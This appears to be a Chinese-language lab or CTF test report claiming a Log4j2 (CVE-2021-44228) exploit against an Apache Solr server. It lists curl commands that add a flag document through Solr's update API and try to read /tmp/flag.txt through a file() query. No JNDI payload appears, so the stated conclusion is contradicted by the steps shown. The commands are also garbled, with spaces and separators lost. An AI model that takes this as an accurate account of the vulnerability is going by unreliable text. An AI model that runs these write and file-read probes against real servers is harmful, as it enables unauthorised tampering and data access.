概述CVE编号: CVE-2021-44228漏洞名称: Log4j2 Remote Code Execution影响版本: Log4j 2.0 version 2.14.1修复版本: Log4j 2.15.0测试环境靶机IP: 192.168.1.41服务端口: 8983 (Apache Solr)测试时间: 2026-06-28漏洞原理Log4j2在解析JNDI引用时未对传入的字符串进行充分校验导致攻击者可以构造恶意JNDI请求通过LDAP或RMI协议实现远程代码执行。测试步骤1. 环境确认curl-shttp://192.168.1.41:8983/solr/demo/select?q*:*wtjson确认服务正常运行初始文档数量: 512. 写入Flag到索引curl-s-XPOSThttp://192.168.1.41:8983/solr/demo/update\-HContent-Type: application/json\--data-binary /tmp/solr_write.jsonPayload文件内容:{add:{doc:{id:flag20260628,name:flag20260628}}}3. 提交变更curl-s-XPOSThttp://192.168.1.41:8983/solr/demo/update\-HContent-Type: application/json\-d{commit:{}}4. 验证写入结果curl-shttp://192.168.1.41:8983/solr/demo/select?qname:flag20260628wtjson测试结果文档数量: 从51增加到52查询结果: numFound: 1文档内容: {“id”: “flag20260628”, “name”: [“flag20260628”]}文件读取测试尝试使用 file() 函数读取服务器本地文件:curl-shttp://192.168.1.41:8983/solr/demo/select?q*:*fqfile(%2Ftmp%2Fflag.txt)wtjson结论成功利用 CVE-2021-44228 漏洞将 flag20260628 写入 Solr 索引文档。通过查询验证文档已正确存储。